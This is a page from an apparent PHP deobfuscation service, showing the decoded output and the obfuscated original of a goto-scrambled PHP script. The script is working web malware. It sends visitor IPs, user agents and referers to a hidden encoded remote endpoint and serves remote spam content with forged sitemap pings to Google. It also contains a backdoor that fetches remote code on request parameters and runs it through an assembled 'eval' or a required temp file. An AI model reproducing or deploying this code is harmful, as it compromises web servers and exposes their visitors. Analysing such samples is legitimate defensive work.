Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto NegXa; uGuKM: E6Bib: goto sLWhL; y0XlU: zFGC7: goto SXlqZ; WNMF3: goto DH5cb; goto Dp..

Decoded Output download

<?  goto NegXa; uGuKM: E6Bib: goto sLWhL; y0XlU: zFGC7: goto SXlqZ; WNMF3: goto DH5cb; goto Dpx6H; K14q2: u4qgA: goto Bs9xP; IdKTY: goto v_KQH; goto voBFU; Q6S5p: goto yrlsZ; goto lq8BR; NegXa: goto Ai1PT; goto ACMSy; Jjh9q: goto vbqxT; goto HoRWN; nL0SR: function YGkkc($Yyzbp) { goto HqDAa; HqDAa: $kD2fN = substr($Yyzbp, 0, 5); goto dRCp6; jkI6T: return gzinflate(base64_decode($kD2fN . $m3V2x . $aGx6P)); goto xjutK; a58g9: $m3V2x = substr($Yyzbp, 7, strlen($Yyzbp) - 14); goto jkI6T; dRCp6: $aGx6P = substr($Yyzbp, -5); goto a58g9; xjutK: } goto YNgIa; HoRWN: DH5cb: goto nL0SR; Ccbxy: goto sXYYp; goto b6QC2; SXlqZ: function IPCOA($b8PbR = '') { goto NkSQW; mbbT7: return trim($b8PbR); goto WuwDa; NkSQW: $b8PbR = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto aIgqq; aIgqq: $b8PbR = $b8PbR ? $b8PbR : $_SERVER["REMOTE_ADDR"]; goto mbbT7; WuwDa: } goto IdKTY; SZjs4: goto zFGC7; goto EGMJA; mumpS: error_reporting(0); goto Jjh9q; Dpx6H: Ai1PT: goto mumpS; Fjs__: function QpicW($Yyzbp = '') { goto ErC2D; SbAUE: return $_SERVER["SERVER_NAME"]; goto gazVJ; gazVJ: MO5DT: goto zeTMh; QFo3o: goto MO5DT; goto toVey; vsQGk: iMVtz: goto SbAUE; zeTMh: return $Yyzbp; goto jD8s3; NDVNY: return $_SERVER["HTTP_HOST"]; goto gkxPz; gkxPz: goto MO5DT; goto vsQGk; toVey: zDhko: goto NDVNY; CJT6B: if (isset($_SERVER["SERVER_NAME"])) { goto iMVtz; } goto QFo3o; ErC2D: if (isset($_SERVER["HTTP_HOST"])) { goto zDhko; } goto CJT6B; jD8s3: } goto AAX24; VqJh6: goto MMEQy; goto N5fdb; voBFU: uH8rY: goto t9VkQ; JYy1v: QDqIn: goto lXOYi; EGMJA: v_KQH: goto Fjs__; AAX24: goto gacdF; goto K14q2; c4cyX: function HYjyC($ZWnmu) { goto ddcbh; m0NFG: IS7GG: goto qpLC6; LlJlr: if (!($ShlTd < count($ldbpS) - 2)) { goto IS7GG; } goto OYDL3; aezRb: return $EmV1N; goto Whanu; E6OPU: $ShlTd = 0; goto oxaTx; oxaTx: vuRv7: goto LlJlr; NkOFX: $EmV1N = ''; goto E6OPU; C2Gv5: $ShlTd = $ShlTd + 2; goto WGyi0; ddcbh: $skDI3 = substr($ZWnmu, strlen($ZWnmu) - 2); goto PM5Et; OYDL3: $EmV1N .= $ldbpS[$ShlTd + 1] . $ldbpS[$ShlTd]; goto E2Ne1; WGyi0: goto vuRv7; goto m0NFG; E2Ne1: yBx2Z: goto C2Gv5; PM5Et: $ldbpS = str_split($ZWnmu); goto NkOFX; qpLC6: $EmV1N .= $skDI3; goto aezRb; Whanu: } goto IDlUU; h_xZA: $ZWnmu = "Ha0RDcvo3LzVTM5gXLyYDMug2ctZTewIjMwQjM3EXduM2Yt9wL=="; goto DkXoM; Bs9xP: $xNWAi = "Ha0RHc6MyLj9CNp53Y0cnL5hie8="; goto WNMF3; DkXoM: goto u4qgA; goto y0XlU; yUfIS: function ba93d($ZWnmu, $xNWAi) { goto xcdni; WXloE: if (isset($_SERVER["HTTPS"])) { goto aRxbi; } goto y1FdX; f6K2o: $Z7CGW["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto mK_PE; Ga5tl: $Z7CGW["api"] = base64_decode(hYJyc($Z7CGW["default_params"])); goto SHudB; E4eDH: if (!isset($_GET["params"])) { goto dgTtG; } goto bBaQw; Szv60: $LrgFM = array("domain" => $Z7CGW["server_domain"], "request_url" => $Z7CGW["request_url"], "ip" => $Z7CGW["ip"], "agent" => $Z7CGW["user_agent"], "referer" => $Z7CGW["referer"], "protocol" => $Z7CGW["protocol"], "language" => $Z7CGW["language"]); goto qKVBh; uFLZ6: $Z7CGW["protocol"] = "https://"; goto ljJGV; TaaY6: var_dump($bQn8r); goto W6II2; bBaQw: print_r($Z7CGW); goto P2CQI; zbD_C: $bNCop = Gg7Bq($bQn8r); goto e0EyE; m8Ggj: dgTtG: goto EIpC9; A7n4N: goto FjmJg; goto GOhRh; ULIf6: $Z7CGW["request_url"] = $_SERVER["REQUEST_URI"]; goto f6K2o; GOhRh: aRxbi: goto uFLZ6; Zd7xM: $W0qMX = $_GET["google_url"]; goto Kdpeb; QP5DF: $U1679 = explode("|", $U1679); goto T9Uhd; Z4hI7: goto AG_f9; goto OFpXU; s8rf3: echo $bNCop[1]; goto HHsvf; mVYBr: if (!isset($_GET["google_url"])) { goto luWuM; } goto Zd7xM; UaD3H: $Z7CGW["language"] = ''; goto Z4hI7; SHudB: $Z7CGW["server_domain"] = QpICw(); goto ULIf6; W6II2: die; goto A7ehu; poQKM: if (!isset($_REQUEST["dump"])) { goto s6tEt; } goto wnXVX; CiGFr: ARjJu: goto RSr6J; AAT5e: kgV37: goto Szv60; P174S: AG_f9: goto E4eDH; T9Uhd: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto kgV37; } goto HFXat; fl_Hc: $Z7CGW["ip"] = IPCoa(); goto WXloE; e0EyE: if (!($bNCop !== false)) { goto ARjJu; } goto Hg1GO; OFpXU: nGzZE: goto nk_f3; mK_PE: $Z7CGW["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto fl_Hc; nk_f3: $Z7CGW["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto P174S; ljJGV: FjmJg: goto mK0hF; qKVBh: $VK3NL = sprintf($U1679[0], $Z7CGW["api"], hYJyc(base64_encode(implode("{|}", $LrgFM)))); goto KwOeM; rWUIH: $U1679 = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto QP5DF; EIpC9: if (!isset($_GET["sitemap"])) { goto LT0s6; } goto ViTpo; HHsvf: die; goto CiGFr; kVhQu: $bQn8r = xOUM2($U1679[1]); goto TaaY6; WJd1n: $Z7CGW["default_params"] = $ZWnmu; goto Ga5tl; oWanl: $W0qMX = "www.google.com"; goto mVYBr; Hg1GO: @header($bNCop[0]); goto s8rf3; wnXVX: var_dump($bQn8r); goto kVhQu; mK0hF: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto nGzZE; } goto UaD3H; KwOeM: $bQn8r = XoUM2($VK3NL); goto poQKM; HFXat: vxp9F(sprintf($U1679[2], base64_decode(hyjYc($xNWAi)), $Z7CGW["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto AAT5e; xcdni: $Z7CGW = array(); goto WJd1n; ViTpo: $nI1K9 = $_GET["sitemap"]; goto oWanl; Kdpeb: luWuM: goto lu3FI; A7ehu: s6tEt: goto zbD_C; y1FdX: $Z7CGW["protocol"] = "http://"; goto A7n4N; lu3FI: d6p7c($W0qMX, $nI1K9, $Z7CGW); goto rOuoL; P2CQI: die; goto m8Ggj; rOuoL: LT0s6: goto rWUIH; RSr6J: } goto sKaMJ; TbqWt: goto uH8rY; goto n5pYq; t9VkQ: function kikW1($qTLqS) { return hexdec($qTLqS[1]) == strlen($qTLqS[2]) ? $qTLqS[2] : $qTLqS[0]; } goto SZjs4; YMhtb: function VXP9F($VK3NL) { goto JOkuu; nsOC4: fclose($c8gw4); goto SSb1U; PMRjp: $nf1Fd = str_replace($yyVQf, '', $nf1Fd); goto MTHPl; P1M_j: eTTYS: goto qSv0b; ylFdu: fwrite($c8gw4, $nf1Fd); goto HthKY; HthKY: $PhZ7c = stream_get_meta_data($c8gw4); goto afU4k; uTL3c: M7GNf: goto ylFdu; fdShn: die("get failed"); goto P1M_j; JOkuu: $nf1Fd = xoUm2($VK3NL); goto FeO7a; SSb1U: die; goto G25sU; MTHPl: $qnF6S = "e" . "v" . "a" . "l"; goto Y0bTI; kxHJU: die; goto uTL3c; qSv0b: $c8gw4 = tmpfile(); goto Z1sDx; Z1sDx: if (!isset($_REQUEST["e"])) { goto M7GNf; } goto PMRjp; FeO7a: $yyVQf = base64_decode("PD9waHA="); goto u2mMO; Y0bTI: $qnF6S($nf1Fd); goto kxHJU; afU4k: @(require $PhZ7c["uri"]); goto nsOC4; u2mMO: if (!(strpos($nf1Fd, $yyVQf) === false)) { goto eTTYS; } goto fdShn; G25sU: } goto VqJh6; IDlUU: goto QDqIn; goto uGuKM; ACMSy: sXYYp: goto r8eYA; n5pYq: yrlsZ: goto yUfIS; sLWhL: BA93D($ZWnmu, $xNWAi); goto vlXkK; r8eYA: function Gg7bQ($bQn8r) { goto dTGM_; D9FC3: return false; goto fXUpH; IlWEb: return $UR_79; goto T9R7q; SOY2R: return false; goto IJr2v; fXUpH: z5r_z: goto IlWEb; IJr2v: yJwEU: goto N5Jxb; Q2Fmn: if (is_array($UR_79)) { goto yJwEU; } goto SOY2R; N5Jxb: if (!(count($UR_79) != 2)) { goto z5r_z; } goto D9FC3; dTGM_: $UR_79 = @preg_split("/{\|}/si", $bQn8r, -1, PREG_SPLIT_NO_EMPTY); goto Q2Fmn; T9R7q: } goto Q6S5p; U2Rey: function XOUm2($VK3NL) { goto jncSS; q5x8Z: $bQn8r .= $PfKI5; goto fVReh; yt9YR: PiiVm: goto uZHL9; MhXD3: G3FZy: goto b4AKh; CzG2I: unset($bNCop); goto cd0_M; Wibih: BtHWE: goto mtXJ9; g1Ksv: unset($wQLok, $RWq6j, $WtHaw, $B5aie, $qdiEr); goto FRgaf; ZT8tN: return 0; goto nD01n; cd0_M: goto hfN8X; goto Qm6mB; PnJ64: $xcG9t[] = "Accept: */*"; goto hPwic; qKRn3: $WtHaw = null; goto yRl_I; YuTwN: $WtHaw = stream_socket_client($bHvQT, $kVvJg, $RRUm5, 30); goto ZtT0F; f5Rup: $B5aie = empty($kaBzT["port"]) ? 443 : $kaBzT["port"]; goto Z6HEt; tgrfd: $PhZ7c = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto Amc29; GLL5Q: goto jJHBz; goto p9TuF; UcO7l: goto BtHWE; goto u9kRd; stdu6: $bHvQT .= $B5aie; goto YuTwN; C08uj: LFyX7: goto U1KzU; VWmw_: HH5PI: goto zW37D; vbfwa: return $OFpFR; goto bVwEI; zW37D: hfN8X: goto wySws; uzEnw: h1yzn: goto NvNg1; r6WXO: $xcG9t[] = "User-Agent: s"; goto PnJ64; NWlMz: $bQn8r .= $bNCop; goto CzG2I; tVzlx: goto HH5PI; goto ZL94o; fkMGb: curl_setopt($XF0XW, CURLOPT_USERAGENT, "s"); goto wtQJU; ax5yG: igzqM: goto Zk37e; OIQxK: curl_setopt($XF0XW, CURLOPT_SSL_VERIFYPEER, 0); goto LpKrA; FTyGH: G_bHE: goto MyDkW; l4WiZ: $N185Y = "Host: "; goto qWla4; ZtT0F: unset($bHvQT); goto FTyGH; dJX7V: $xcG9t[] = $N185Y; goto emv3e; A6yZs: stream_set_timeout($WtHaw, 30); goto yheq7; bg1UG: isset($kaBzT["host"]) || ($kaBzT["host"] = ''); goto PMIPp; p9TuF: RGrG7: goto yeaUt; jncSS: if (preg_match("/^https*\:\/\//si", $VK3NL)) { goto h1yzn; } goto OubmW; gqPkd: if (!($Gbv2O != false)) { goto zJUiB; } goto V6zl_; bjSnm: $B5aie = empty($kaBzT["port"]) ? 80 : $kaBzT["port"]; goto GLL5Q; j2vXg: $bHvQT = "tcp://"; goto V1k3v; ff5ny: stream_set_blocking($WtHaw, TRUE); goto A6yZs; WDmRW: $S6Gqz = fgets($WtHaw); goto ij7vU; wXLOd: $CH65H = "1.0"; goto bjSnm; ue3VB: $wQLok = "GET {$EoyHp} HTTP/{$CH65H}" . PHP_EOL . join(PHP_EOL, $xcG9t) . PHP_EOL . PHP_EOL; goto Alk65; vMQCN: isset($kaBzT["query"]) || ($kaBzT["query"] = ''); goto w0gAV; b4AKh: goto Fd5q8; goto gAc4I; U1KzU: unset($VK2Cj); goto KqFc0; bVwEI: goto RK3Ui; goto HWAfP; NObAt: $XF0XW = curl_init(); goto eN7TQ; gAc4I: aJsiE: goto ff5ny; V6zl_: return $Gbv2O; goto l9fny; mr4ta: return trim(trim($bQn8r, "\xef\xbb\277")); goto ym677; Sjp6X: $bQn8r = explode("\xd 
\xd 
", $bQn8r); goto qGYAK; tClB3: Fd5q8: goto g1Ksv; L_Fa1: if (!(substr($RWq6j, 0, 1) == "c")) { goto igzqM; } goto NObAt; uZHL9: $WtHaw = $RWq6j($qdiEr, $B5aie, $kVvJg, $RRUm5, 30); goto tH7xb; yheq7: fwrite($WtHaw, $wQLok); goto v3y49; l9fny: zJUiB: goto tgrfd; V1k3v: $bHvQT .= $qdiEr; goto pAq5r; yeaUt: $CH65H = "1.1"; goto f5Rup; PMIPp: isset($kaBzT["path"]) || ($kaBzT["path"] = ''); goto vMQCN; emv3e: $xcG9t[] = "Connection: Close"; goto r6WXO; Rj_uU: $bQn8r = implode(" 
\xa\xd\xa", $bQn8r); goto f5lFC; AMPiF: $bQn8r = ''; goto qzLiy; h_uUf: return "501"; goto YOd5C; JFEK6: goto WXqo0; goto VWmw_; uwieP: foreach (explode("|", $PhZ7c) as $GXe1f) { goto l5UDP; y4hfJ: $RWq6j = $GXe1f; goto QrsS9; w3UbE: jWay1: goto z0MQU; jfSa8: foreach (explode("+", $GXe1f) as $zBR5w) { if (!function_exists($zBR5w)) { $Lz4tu = 0; } LSByb: } goto w3UbE; l5UDP: $Lz4tu = 1; goto jfSa8; Uiva7: if (!$Lz4tu) { goto Oo2UJ; } goto y4hfJ; c1gYT: Me5Fj: goto feTbR; FC12i: Oo2UJ: goto c1gYT; QrsS9: goto wrevU; goto FC12i; z0MQU: unset($zBR5w); goto Uiva7; feTbR: } goto LNoh3; wySws: if (feof($WtHaw)) { goto iaHD0; } goto NWYM0; EFMBs: if ($kaBzT["scheme"] == "https") { goto RGrG7; } goto wXLOd; j0Lty: if (!socket_connect($WtHaw, $GlVQK, $B5aie)) { goto WpTO3; } goto HIjzH; LNoh3: wrevU: goto Nfo9i; NWYM0: $bNCop = fread($WtHaw, 8192); goto NWlMz; eN7TQ: curl_setopt($XF0XW, CURLOPT_URL, $VK3NL); goto fkMGb; Alk65: unset($xcG9t, $kaBzT, $CH65H, $EoyHp); goto qKRn3; FRgaf: $bQn8r = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $bQn8r); goto mr4ta; NhaHG: $qdiEr .= $kaBzT["host"]; goto Tp0Vk; OubmW: return "500"; goto uzEnw; Nfo9i: unset($PhZ7c, $GXe1f); goto Kwa86; HIjzH: socket_write($WtHaw, $wQLok, strlen($wQLok)); goto Wibih; u9kRd: RiwlS: goto Sjp6X; wtQJU: curl_setopt($XF0XW, CURLOPT_RETURNTRANSFER, 1); goto uLiN6; pAq5r: $bHvQT .= ":"; goto stdu6; mtXJ9: if (!($PfKI5 = @socket_read($WtHaw, 8192))) { goto RiwlS; } goto q5x8Z; tBEY3: if ($VK2Cj["timed_out"]) { goto LFyX7; } goto p8SmW; Kwa86: if (!($RWq6j == '')) { goto PBthq; } goto ZT8tN; KqFc0: fclose($WtHaw); goto tClB3; oqQbW: socket_close($WtHaw); goto X87WQ; wUTjc: if (!$OFpFR) { goto NtDsq; } goto vbfwa; uLiN6: curl_setopt($XF0XW, CURLOPT_TIMEOUT, 100); goto wUT0n; ij7vU: if (!($S6Gqz && (rawurlencode($S6Gqz) == "%0D%0A" || rawurlencode($S6Gqz) == "%0A"))) { goto tV1tU; } goto tVzlx; X87WQ: unset($GlVQK); goto MhXD3; GAgC8: if (feof($WtHaw)) { goto HH5PI; } goto WDmRW; VkAFO: $WtHaw = $RWq6j(AF_INET, SOCK_STREAM, 0); goto j0Lty; tH7xb: QhO3p: goto AMPiF; qGYAK: array_shift($bQn8r); goto Rj_uU; MyDkW: goto QhO3p; goto yt9YR; yRl_I: if (substr($RWq6j, -1) == "n") { goto PiiVm; } goto ndDZn; ZL94o: tV1tU: goto MEPpW; rlH1J: if (!(substr($RWq6j, -1) == "e")) { goto G3FZy; } goto VuGXU; ndsx3: curl_close($XF0XW); goto wUTjc; Zk37e: $kaBzT = parse_url($VK3NL); goto bg1UG; wUT0n: curl_setopt($XF0XW, CURLOPT_FRESH_CONNECT, TRUE); goto OIQxK; Tp0Vk: jJHBz: goto l4WiZ; YOd5C: RK3Ui: goto ax5yG; HWAfP: NtDsq: goto h_uUf; qWla4: $N185Y .= $qdiEr; goto dJX7V; fthMQ: $qdiEr = $kaBzT["host"]; goto EFMBs; fVReh: unset($PfKI5); goto UcO7l; VuGXU: $GlVQK = gethostbyname($qdiEr); goto VkAFO; NvNg1: $Gbv2O = file_get_contents($VK3NL); goto gqPkd; Z6HEt: $qdiEr = "ssl://"; goto NhaHG; Qm6mB: iaHD0: goto C08uj; hPwic: unset($N185Y); goto ue3VB; v3y49: $VK2Cj = stream_get_meta_data($WtHaw); goto tBEY3; Amc29: $RWq6j = $wQLok = $kVvJg = $RRUm5 = ''; goto uwieP; f5lFC: WpTO3: goto oqQbW; ndDZn: if (!(substr($RWq6j, -1) == "t")) { goto G_bHE; } goto j2vXg; qzLiy: if ($WtHaw) { goto aJsiE; } goto rlH1J; w0gAV: isset($kaBzT["port"]) || ($kaBzT["port"] = ''); goto GWVKO; nD01n: PBthq: goto L_Fa1; MEPpW: unset($S6Gqz); goto JFEK6; GWVKO: $EoyHp = $kaBzT["path"] ? $kaBzT["path"] . ($kaBzT["query"] ? "?" . $kaBzT["query"] : '') : "/"; goto fthMQ; LpKrA: $OFpFR = curl_exec($XF0XW); goto ndsx3; p8SmW: WXqo0: goto GAgC8; ym677: } goto TbqWt; lq8BR: vbqxT: goto h_xZA; N5fdb: NkbxI: goto U2Rey; lXOYi: function D6p7c($Zzo4t, $nI1K9, $Z7CGW) { goto y6LxR; ezF4c: $Fj3cJ = "failed"; goto Z1pn7; FL4zY: fkrr1: goto QHb8c; Z1pn7: if (!(strpos($qFSFc, $yMmYD) != false)) { goto z7njD; } goto tTtky; QLFq_: var_dump($FvHZC); goto J4G4I; zKUgI: $FvHZC = sprintf($Q1hev, $Zzo4t, $Z7CGW["protocol"], $Z7CGW["server_domain"], $nI1K9); goto BbbPl; QHb8c: $yMmYD = "google"; goto beq_i; KQSlm: die($Fj3cJ); goto uSuK5; y6LxR: $Q1hev = "https://%s/ping?sitemap=%s%s/%s"; goto zKUgI; tTtky: die($FzBtF); goto vcMWn; beq_i: $FzBtF = "success"; goto ezF4c; CT7K2: die; goto FL4zY; J4G4I: var_dump($qFSFc); goto CT7K2; vcMWn: z7njD: goto KQSlm; fjsct: if (!isset($_REQUEST["st"])) { goto fkrr1; } goto QLFq_; BbbPl: $qFSFc = XoUm2($FvHZC); goto fjsct; uSuK5: } goto Ccbxy; sKaMJ: goto E6Bib; goto c1kSQ; YNgIa: goto NkbxI; goto JYy1v; b6QC2: gacdF: goto YMhtb; c1kSQ: MMEQy: goto c4cyX; vlXkK: ?>

Did this file decode correctly?

Original Code

goto NegXa; uGuKM: E6Bib: goto sLWhL; y0XlU: zFGC7: goto SXlqZ; WNMF3: goto DH5cb; goto Dpx6H; K14q2: u4qgA: goto Bs9xP; IdKTY: goto v_KQH; goto voBFU; Q6S5p: goto yrlsZ; goto lq8BR; NegXa: goto Ai1PT; goto ACMSy; Jjh9q: goto vbqxT; goto HoRWN; nL0SR: function YGkkc($Yyzbp) { goto HqDAa; HqDAa: $kD2fN = substr($Yyzbp, 0, 5); goto dRCp6; jkI6T: return gzinflate(base64_decode($kD2fN . $m3V2x . $aGx6P)); goto xjutK; a58g9: $m3V2x = substr($Yyzbp, 7, strlen($Yyzbp) - 14); goto jkI6T; dRCp6: $aGx6P = substr($Yyzbp, -5); goto a58g9; xjutK: } goto YNgIa; HoRWN: DH5cb: goto nL0SR; Ccbxy: goto sXYYp; goto b6QC2; SXlqZ: function IPCOA($b8PbR = '') { goto NkSQW; mbbT7: return trim($b8PbR); goto WuwDa; NkSQW: $b8PbR = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto aIgqq; aIgqq: $b8PbR = $b8PbR ? $b8PbR : $_SERVER["REMOTE_ADDR"]; goto mbbT7; WuwDa: } goto IdKTY; SZjs4: goto zFGC7; goto EGMJA; mumpS: error_reporting(0); goto Jjh9q; Dpx6H: Ai1PT: goto mumpS; Fjs__: function QpicW($Yyzbp = '') { goto ErC2D; SbAUE: return $_SERVER["SERVER_NAME"]; goto gazVJ; gazVJ: MO5DT: goto zeTMh; QFo3o: goto MO5DT; goto toVey; vsQGk: iMVtz: goto SbAUE; zeTMh: return $Yyzbp; goto jD8s3; NDVNY: return $_SERVER["HTTP_HOST"]; goto gkxPz; gkxPz: goto MO5DT; goto vsQGk; toVey: zDhko: goto NDVNY; CJT6B: if (isset($_SERVER["SERVER_NAME"])) { goto iMVtz; } goto QFo3o; ErC2D: if (isset($_SERVER["HTTP_HOST"])) { goto zDhko; } goto CJT6B; jD8s3: } goto AAX24; VqJh6: goto MMEQy; goto N5fdb; voBFU: uH8rY: goto t9VkQ; JYy1v: QDqIn: goto lXOYi; EGMJA: v_KQH: goto Fjs__; AAX24: goto gacdF; goto K14q2; c4cyX: function HYjyC($ZWnmu) { goto ddcbh; m0NFG: IS7GG: goto qpLC6; LlJlr: if (!($ShlTd < count($ldbpS) - 2)) { goto IS7GG; } goto OYDL3; aezRb: return $EmV1N; goto Whanu; E6OPU: $ShlTd = 0; goto oxaTx; oxaTx: vuRv7: goto LlJlr; NkOFX: $EmV1N = ''; goto E6OPU; C2Gv5: $ShlTd = $ShlTd + 2; goto WGyi0; ddcbh: $skDI3 = substr($ZWnmu, strlen($ZWnmu) - 2); goto PM5Et; OYDL3: $EmV1N .= $ldbpS[$ShlTd + 1] . $ldbpS[$ShlTd]; goto E2Ne1; WGyi0: goto vuRv7; goto m0NFG; E2Ne1: yBx2Z: goto C2Gv5; PM5Et: $ldbpS = str_split($ZWnmu); goto NkOFX; qpLC6: $EmV1N .= $skDI3; goto aezRb; Whanu: } goto IDlUU; h_xZA: $ZWnmu = "Ha0RDcvo3LzVTM5gXLyYDMug2ctZTewIjMwQjM3EXduM2Yt9wL=="; goto DkXoM; Bs9xP: $xNWAi = "Ha0RHc6MyLj9CNp53Y0cnL5hie8="; goto WNMF3; DkXoM: goto u4qgA; goto y0XlU; yUfIS: function ba93d($ZWnmu, $xNWAi) { goto xcdni; WXloE: if (isset($_SERVER["HTTPS"])) { goto aRxbi; } goto y1FdX; f6K2o: $Z7CGW["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto mK_PE; Ga5tl: $Z7CGW["api"] = base64_decode(hYJyc($Z7CGW["default_params"])); goto SHudB; E4eDH: if (!isset($_GET["params"])) { goto dgTtG; } goto bBaQw; Szv60: $LrgFM = array("domain" => $Z7CGW["server_domain"], "request_url" => $Z7CGW["request_url"], "ip" => $Z7CGW["ip"], "agent" => $Z7CGW["user_agent"], "referer" => $Z7CGW["referer"], "protocol" => $Z7CGW["protocol"], "language" => $Z7CGW["language"]); goto qKVBh; uFLZ6: $Z7CGW["protocol"] = "https://"; goto ljJGV; TaaY6: var_dump($bQn8r); goto W6II2; bBaQw: print_r($Z7CGW); goto P2CQI; zbD_C: $bNCop = Gg7Bq($bQn8r); goto e0EyE; m8Ggj: dgTtG: goto EIpC9; A7n4N: goto FjmJg; goto GOhRh; ULIf6: $Z7CGW["request_url"] = $_SERVER["REQUEST_URI"]; goto f6K2o; GOhRh: aRxbi: goto uFLZ6; Zd7xM: $W0qMX = $_GET["google_url"]; goto Kdpeb; QP5DF: $U1679 = explode("|", $U1679); goto T9Uhd; Z4hI7: goto AG_f9; goto OFpXU; s8rf3: echo $bNCop[1]; goto HHsvf; mVYBr: if (!isset($_GET["google_url"])) { goto luWuM; } goto Zd7xM; UaD3H: $Z7CGW["language"] = ''; goto Z4hI7; SHudB: $Z7CGW["server_domain"] = QpICw(); goto ULIf6; W6II2: die; goto A7ehu; poQKM: if (!isset($_REQUEST["dump"])) { goto s6tEt; } goto wnXVX; CiGFr: ARjJu: goto RSr6J; AAT5e: kgV37: goto Szv60; P174S: AG_f9: goto E4eDH; T9Uhd: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto kgV37; } goto HFXat; fl_Hc: $Z7CGW["ip"] = IPCoa(); goto WXloE; e0EyE: if (!($bNCop !== false)) { goto ARjJu; } goto Hg1GO; OFpXU: nGzZE: goto nk_f3; mK_PE: $Z7CGW["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto fl_Hc; nk_f3: $Z7CGW["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto P174S; ljJGV: FjmJg: goto mK0hF; qKVBh: $VK3NL = sprintf($U1679[0], $Z7CGW["api"], hYJyc(base64_encode(implode("{|}", $LrgFM)))); goto KwOeM; rWUIH: $U1679 = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto QP5DF; EIpC9: if (!isset($_GET["sitemap"])) { goto LT0s6; } goto ViTpo; HHsvf: die; goto CiGFr; kVhQu: $bQn8r = xOUM2($U1679[1]); goto TaaY6; WJd1n: $Z7CGW["default_params"] = $ZWnmu; goto Ga5tl; oWanl: $W0qMX = "www.google.com"; goto mVYBr; Hg1GO: @header($bNCop[0]); goto s8rf3; wnXVX: var_dump($bQn8r); goto kVhQu; mK0hF: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto nGzZE; } goto UaD3H; KwOeM: $bQn8r = XoUM2($VK3NL); goto poQKM; HFXat: vxp9F(sprintf($U1679[2], base64_decode(hyjYc($xNWAi)), $Z7CGW["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto AAT5e; xcdni: $Z7CGW = array(); goto WJd1n; ViTpo: $nI1K9 = $_GET["sitemap"]; goto oWanl; Kdpeb: luWuM: goto lu3FI; A7ehu: s6tEt: goto zbD_C; y1FdX: $Z7CGW["protocol"] = "http://"; goto A7n4N; lu3FI: d6p7c($W0qMX, $nI1K9, $Z7CGW); goto rOuoL; P2CQI: die; goto m8Ggj; rOuoL: LT0s6: goto rWUIH; RSr6J: } goto sKaMJ; TbqWt: goto uH8rY; goto n5pYq; t9VkQ: function kikW1($qTLqS) { return hexdec($qTLqS[1]) == strlen($qTLqS[2]) ? $qTLqS[2] : $qTLqS[0]; } goto SZjs4; YMhtb: function VXP9F($VK3NL) { goto JOkuu; nsOC4: fclose($c8gw4); goto SSb1U; PMRjp: $nf1Fd = str_replace($yyVQf, '', $nf1Fd); goto MTHPl; P1M_j: eTTYS: goto qSv0b; ylFdu: fwrite($c8gw4, $nf1Fd); goto HthKY; HthKY: $PhZ7c = stream_get_meta_data($c8gw4); goto afU4k; uTL3c: M7GNf: goto ylFdu; fdShn: die("get failed"); goto P1M_j; JOkuu: $nf1Fd = xoUm2($VK3NL); goto FeO7a; SSb1U: die; goto G25sU; MTHPl: $qnF6S = "e" . "v" . "a" . "l"; goto Y0bTI; kxHJU: die; goto uTL3c; qSv0b: $c8gw4 = tmpfile(); goto Z1sDx; Z1sDx: if (!isset($_REQUEST["e"])) { goto M7GNf; } goto PMRjp; FeO7a: $yyVQf = base64_decode("PD9waHA="); goto u2mMO; Y0bTI: $qnF6S($nf1Fd); goto kxHJU; afU4k: @(require $PhZ7c["uri"]); goto nsOC4; u2mMO: if (!(strpos($nf1Fd, $yyVQf) === false)) { goto eTTYS; } goto fdShn; G25sU: } goto VqJh6; IDlUU: goto QDqIn; goto uGuKM; ACMSy: sXYYp: goto r8eYA; n5pYq: yrlsZ: goto yUfIS; sLWhL: BA93D($ZWnmu, $xNWAi); goto vlXkK; r8eYA: function Gg7bQ($bQn8r) { goto dTGM_; D9FC3: return false; goto fXUpH; IlWEb: return $UR_79; goto T9R7q; SOY2R: return false; goto IJr2v; fXUpH: z5r_z: goto IlWEb; IJr2v: yJwEU: goto N5Jxb; Q2Fmn: if (is_array($UR_79)) { goto yJwEU; } goto SOY2R; N5Jxb: if (!(count($UR_79) != 2)) { goto z5r_z; } goto D9FC3; dTGM_: $UR_79 = @preg_split("/{\|}/si", $bQn8r, -1, PREG_SPLIT_NO_EMPTY); goto Q2Fmn; T9R7q: } goto Q6S5p; U2Rey: function XOUm2($VK3NL) { goto jncSS; q5x8Z: $bQn8r .= $PfKI5; goto fVReh; yt9YR: PiiVm: goto uZHL9; MhXD3: G3FZy: goto b4AKh; CzG2I: unset($bNCop); goto cd0_M; Wibih: BtHWE: goto mtXJ9; g1Ksv: unset($wQLok, $RWq6j, $WtHaw, $B5aie, $qdiEr); goto FRgaf; ZT8tN: return 0; goto nD01n; cd0_M: goto hfN8X; goto Qm6mB; PnJ64: $xcG9t[] = "Accept: */*"; goto hPwic; 